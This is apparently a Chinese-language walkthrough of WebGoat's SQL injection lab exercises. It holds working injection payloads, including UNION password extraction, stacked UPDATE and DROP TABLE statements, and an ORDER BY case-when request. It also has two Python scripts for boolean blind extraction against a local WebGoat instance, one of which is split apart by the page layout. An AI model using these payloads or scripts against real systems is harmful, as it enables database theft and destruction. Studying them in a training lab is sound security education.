
SQL Injection (intro)  

0x02  

0x03  

0x04  

0x05  

0x09  

0x10  

account:1user_id: 1 or true

拼接过后

0x11  

employee name: 1tan: ' or true -- -

0x12  

employee name: '; update employees set salary=1000000 where last_name='Smith';-- - tan: 
不填或者随便填

0x13  

 

SQL Injection (advanced)  

 

select department from employees where first_name='Bob';

update employees set department='Sales' where first_name='Tobi';

alter table employees add column phone varchar(20);

grant alter table to UnauthorizedUser

SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = 

'1'

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true

'; drop table access_log;-- -
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0x03  

name: ' or true union select 1,'2','3','4','5',password, 7 from user_system_data 
where user_name='dave'-- -

拼接过后的sql: SELECT * FROM user_data WHERE last_name = '' or true union select 
1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- -'

最后得到dave密码为passW0rD

0x05  

 

SQL Injection (mitigation)  

0x05  

参考0x06....

# -*- coding:utf-8 -*-

import requests

from string import printable

chars = printable

vul_url = "http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge"

data1 = 

"username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%

3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"

headers = {

    'Content-Type': 'application/x-www-form-urlencoded',

    'X-Requested-With': 'XMLHttpRequest'

}

cookies = {

    'JSESSIONID': 'A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz',

    'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'

}

i = 0

result = ""

proxy={"http": "http://127.0.0.1:8181"}

while True:

    i += 1

    temp = result

    for char in chars:

        data = "username_reg=tom'+and substr(password, {0},1)='{1}'--+-

&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i, 

char)

        resp = requests.put(vul_url, data=data, headers=headers, 

cookies=cookies, proxies=proxy)

        # print(resp.text)

        if 'already exists' in resp.text:

            result += char

    print(result)

    if temp == result:

        break
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0x06  

 

注： Idea 调试WebGoat环境搭建参考：webgoat-环境搭建

 

WebGoat是采用Spring Boot 构建，所以可以利用@PostMapping()、@GetMapping()、
@RequestMappin()等注解来处理用户对某个路径的请求（类似php mvc架构之中的路由），例如类似
如下代码，当用户请求 /hello路径时，spring boot就会自动调用Hello()方法进行处理

知道了上面这个知识点，我们就知道怎么定位处理请求的 方法/类 了。通过审查元素或者抓包我们知道
这道题目提交到了： /WebGoat/SqlInjectionMitigations/attack10b，那么我们直接全局搜索

attack10b,定位到文件： /WebGoat/webgoat-lessons/sql-

injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLess

on10b.java

 

try{

    Connection ct = null; 

    ct=DriverManager.getConnection(DBURL,DBUSER,DBPW);

    PreparedStatement ps=ct.prepareStatement("select * from users where 

name=?");

    ps.setString(1,"3");

    ResultSet rs=ps.executeQuery();    

} catch(Exception e){

    System.out.println("123");

}

@RequestMapping(path="/hello")

@ResponseBody

public String Hello() {

    return "Hello World";

}
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https://www.anquanke.com/post/id/186417


 

 

重点关注框起来的部分，这里主要是对我们输入的代码去掉换行符，然后使用正则表达式匹配我们提交
的答案是否有它要求的关键的几处代码，这一点很容易满足，但是，最后还有执行
this.compileFromString()函数，这个函数就是实实在在用jvm编译我们提交的代码了，我几次没有通过
代码也是因为这儿，这个函数的实现我就不展示了，在同一个文件里，大家自己看下就行了，编译没有
通过并报了SqlException错误，这是因为没有数据库可以连接嘛，所以，加一个try ... catch ... 解决问
题

0x10  

这一题也是比较坑的一题，因为作者把题目链接放错了，导致这个图表里没有任何servers。就是下面
这样

 

以servers为关键词全局搜索，最后定位到 /opt/WebGoat/webgoat-lessons/sql-

injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java
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发现源码的路由是 SqlInjectionMitigations/servers，但是表单提交的地址却

是 /SqlInjection/servers，所以我们在burp里把请求地址改一下就ok了，可以看到返回的json数据
了。

payload:

同样没有回显，是一个bool盲注，利用case when end 语句构造不同的排序依据，通过返回的servers
的顺序来确定真假

 

 

GET /WebGoat/SqlInjectionMitigations/servers?

column=case%20when%20(select%20substr(ip,1,1)='0'%20from%20servers%20where%20hos

tname='webgoat-prd')%20then%20hostname%20else%20mac%20end HTTP/1.1

Host: localhost:8080

User-Agent: python-requests/2.22.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

X-Requested-With: XMLHttpRequest

Cookie: JSESSIONID=A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz; 

JSESSIONID.75fbd09e=7mc1x9iei6ji4xo2a3u4kbz1



 

根据上述思路，编写脚本

# -*- coding:utf-8 -*-

import requests

from string import digits

chars = digits+"."

data1 = 

"username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%

3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"

headers = {

    'X-Requested-With': 'XMLHttpRequest'

}

cookies = {

    'JSESSIONID': 'A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz',

    'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'

}

i = 0

result = ""

proxy={"http": "http://127.0.0.1:8181"}

while True:

    i += 1

    temp = result

    for char in chars:

        vul_url = 

"http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?

column=case%20when%20(select%20substr(ip,

{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-

prd')%20then%20hostname%20else%20mac%20end".format(i, char)

        resp = requests.get(vul_url, headers=headers, cookies=cookies, 

proxies=proxy)

        # print(resp.json())

        if 'webgoat-acc' in resp.json()[0]['hostname']:

            result += char

    print(result)



注：本题目经测试无法使用ord(),if(1,1,1)语句只能使用case when() then ... else ... end语句，可
通过报错得到表名和大概的sql语句，一开始我还在纠结怎么确定表名，结果报错直接给爆出来了

order by 报错注入参考：order by注入

    if temp == result:

        break

http://www.beesfun.com/2017/03/22/MySQL%E6%B3%A8%E5%85%A5%E7%B3%BB%E5%88%97%E4%B9%8Border-by-%E6%B3%A8%E5%85%A5-%E4%BA%8C/
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